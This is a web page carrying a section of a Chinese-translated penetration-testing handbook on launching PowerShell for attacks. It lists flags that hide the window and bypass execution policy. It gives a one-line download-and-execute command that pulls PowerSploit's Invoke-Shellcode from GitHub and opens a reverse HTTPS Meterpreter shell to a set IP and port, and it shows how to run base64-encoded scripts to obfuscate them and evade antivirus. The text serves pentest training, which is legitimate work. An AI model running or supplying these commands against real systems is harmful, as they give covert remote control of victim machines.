|
|
|
|
移动端

1.5.8 启动PowerShell

《黑客秘笈——渗透测试实用指南(第2版)》第1章赛前准备——安装,本章介绍的内容主要是帮助搭建一个标准的测试平台。您要具有扎实的PowerShell语言基础,并且能够理解二进制漏洞利用的基本原理。本节为大家介绍启动PowerShell。

作者:孙勇 译来源:人民邮电出版社|2017-09-06 20:45

人工智能+区块链的发展趋势及应用调研报告


1.5.8 启动PowerShell

PowerShell已经彻底改变渗透测试的游戏规则。如果您没有任何PowerShell的使用经验,我强烈建议花费一定的时间,写一些基本的PowerShell脚本。如果需要查阅资料,了解PowerShell功能,请观看这个视频:

PowerShell脚本安全介绍:http://bit.ly/1MCb7EJ

这个视频时间稍微有点长,但是它能说明一些基本概念,帮助掌握PowerShell基础知识。为什么我在这本书中如此强调PowerShell?因为PowerShell对于渗透测试人员有以下益处:

Windows 7以上操作系统默认安装;

PowerShell脚本可以运行在内存中;

几乎不会触发杀毒软件;

可以调用.NET类;

利用用户口令(查询活动目录);

可以用来管理活动目录;

远程执行PowerShell脚本;

使得Windows脚本攻击更加容易;

目前很多工具是基于PowerShell开发的,掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。

您可以通过Windows终端提示符输入“PowerShell”,进入PowerShell命令行,输入“help”命令显示帮助菜单。下面是本书用到的基本参数和基本设置。

-Exec Bypass:绕过执行安全保护。

这个参数非常重要!默认情况下,PowerShell的安全策略不允许运行命令和文件。通过设置这个参数,可以绕过任何一个安全保护规则。在本书中,每一次运行PowerShell脚本时均使用这个参数。

-NonI:非交互模式,PowerShell不提供用户交互式提示符。

-NoProfile(或者 –NoP):PowerShell控制台不加载当前用户的配置。

-noexit:执行后不退出shell。这对于脚本,例如键盘记录,非常重要,因此这些脚本可以继续执行。

-W Hidden:设置会话的窗口风格,将命令窗口保持隐藏。

32位或64位PowerShell。

这非常重要。一些脚本仅仅能够运行在它们指定的平台。因此,如果是在64位平台,需要执行64位PowerShell脚本来运行命令。

32位PowerShell脚本执行:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass

64位PowerShell脚本执行:

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

为了更好了解PowerShell的使用方法,下面介绍一些常用的执行命令(这些命令将在本书中使用)。

第一个命令是从网站服务器下载PowerShell脚本,并执行脚本。在很多情况下,通过命令行,在被攻击对象主机上下载Meterpreter PowerShell脚本:

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]

例如,如果想在目标上执行Meterpreter Shell,需要下载这个脚本:

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1

我们同样需要知道使用什么参数。最简单的找到参数的方式是阅读PowerShell脚本源代码,获取和浏览Invoke--Shellcode.ps1文件。查看Mattifestationbianxie开发的Invoke--Shellcode.ps1文件,可以通过这个例子,了解如何调用反向https Meterpreter shell(见图1.1)。

最终的PowerShell命令看起来如下所示。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient). DownloadString('https://raw.githubusercontent.com/cheetz/ PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https- Lhost 192.168.30.129 -Lport 80

可以看出,PowerShell使用非常简单,而且功能超级强大。下面了解更多的例子。

例如,下载同一个文件到目标上。您不需要访问网页,就可以自动下载和执行文件。在本地执行文件:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"

最后,在本书中我通常使用base64编码PowerShell脚本,目的是混淆和压缩代码。运行和编码PowerShell脚本的命令如下:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]

希望上述的例子能帮助您在渗透测试中娴熟地使用PowerShell。

喜欢的朋友可以添加我们的微信账号:

【责任编辑:book TEL:(010)68476606】

回书目   上一节   下一节
点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

超级网管员——网络应用

本书全面、深入地介绍了网络应用技术,主要内容包括:RMS权限管理服务、Exchange邮件服务、LCS即时消息服务、WSUS系统更新服务、Symantec网...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊